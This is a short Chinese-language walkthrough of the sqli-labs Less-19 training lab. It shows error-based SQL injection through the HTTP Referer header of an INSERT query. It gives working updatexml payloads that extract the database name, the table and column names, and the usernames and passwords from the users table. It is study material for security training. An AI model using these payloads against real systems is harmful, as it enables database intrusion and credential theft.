Less-19
该关卡与less-18类似,只是less-18在登录正确是返回UA信息,而该关卡返回Referer信息,因此做法与less-18类似,只是在抓到的包中将Referer换成我们需要进行查询的sql语句,利用错误注入,将我们需要的信息通过错误返回带出。
判断Referer闭合方式:
将Referer更改为’,返回:
可以猜测Referer传入后台数据库的语句是insert into table value(‘Referer’,‘ip’)
验证猜想,将Referer更改为1’,1)#
没有报错,说明猜测正确,接下来开始注入:
查询当前数据库:
‘ or updatexml(1,concat(0x7e,(database())),1),1)#
查询security中的表:
’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)),1),1)#
获取users表中的字段:
’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273)),1),1)#
获取username的数据:
’ or updatexml(1,concat(0x7e,(select group_concat(username) from security.users)),1),1)#
获取password字段的数据:
’ or updatexml(1,concat(0x7e,(select group_concat(password) from security.users)),1),1)#
未完待续。。。